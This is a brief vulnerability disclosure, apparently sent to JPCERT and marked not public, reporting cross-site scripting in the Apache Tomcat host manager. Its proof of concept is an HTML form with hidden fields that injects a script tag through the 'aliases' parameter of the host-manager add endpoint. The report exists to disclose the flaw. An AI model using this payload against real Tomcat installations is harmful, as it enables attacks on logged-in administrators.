JPCERT#98038604

  Cross-site Scripting in Apache Tomcat host manager

  Assume that after logged in, the victim was lead to the malicious web
  server with following file installed.
  <form action="http://localhost:8080/host-manager/html/add" method="get">
  <INPUT TYPE="hidden" NAME='name' VALUE="aaa">
  <INPUT TYPE="hidden" NAME='aliases' VALUE="<script>alert()</script>">
  <input type="submit">
  </form>

  When the victim accesses to it, then the window pops up.  Therefore
  it is verified that vulnerability exists.

not public